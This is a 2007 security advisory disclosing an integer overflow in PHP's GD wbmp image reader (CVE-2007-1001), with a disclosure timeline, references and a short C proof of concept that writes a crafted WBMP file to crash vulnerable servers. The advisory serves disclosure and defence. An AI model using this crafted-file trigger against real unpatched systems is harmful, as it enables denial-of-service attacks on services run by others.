There is an integer overflow in PHP in ext/gd/libgd/wbmp.c in the
function readwbmp. If large enough values are specified for wbmp image
height and/or width, so that width*height > 2^32, an integer overflow
occurs on the following line

if ((wbmp->bitmap = (int *) safe_emalloc(wbmp->width * wbmp->height,
sizeof(int), 0)) == NULL)

causing the amount of memory allocated to be smaller than the amount
of data to be read, subsequently causing buffer overflow (See the DoS
PoC below).

Upon discovery, I first thought this to be a LibGD issue, however the
file wbmp.c is changed in LibGD (as early as in version 2.0.33
released in 2004) and does not have this overflow.

As the only values written in memory upon exploiting this can be
(int)0 and (int)1, exploiting this for anything other then DoS seems
highly unlikely.

Timeline

Feb 14 2007 - Vulnerability discovered
Mar 7 2007 - Vendor contacted
Mar 7 2007 - Vendor responded, confirmed the bug and said they plan to
fix it in PHP 5.2.2, which is to be released in April
Apr 7 2007 - Release of this advisory

Note: I was going to wait until the release of PHP 5.2.2 before
publishing this, but seeing FrSIRT (and possibly others) already
pubished it I am pushing the release forward a bit.

References

http://www.php.net/ 
http://ifsec.blogspot.com/2007/04/php-521-wbmp-file-handling-integer.html 
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1001 
http://www.frsirt.com/english/advisories/2007/1269 

PoC

#define BUFSIZE 1000000

#include 

int main()
{
       int c;
       char buf[BUFSIZE];

       FILE *fp = fopen("test.wbmp","w");

       //write header
       c = 0;
       fputc(c,fp);
       fputc(c,fp);

       //write width = 2^32 / 4 + 1
       c = 0x84;
       fputc(c,fp);
       c = 0x80;
       fputc(c,fp);
       fputc(c,fp);
       fputc(c,fp);
       c = 0x01;
       fputc(c,fp);

       //write height = 4
       c = 0x04;
       fputc(c,fp);

       //write some data to cause overflow
       fwrite(buf,sizeof(buf),1,fp);

       fclose(fp);
}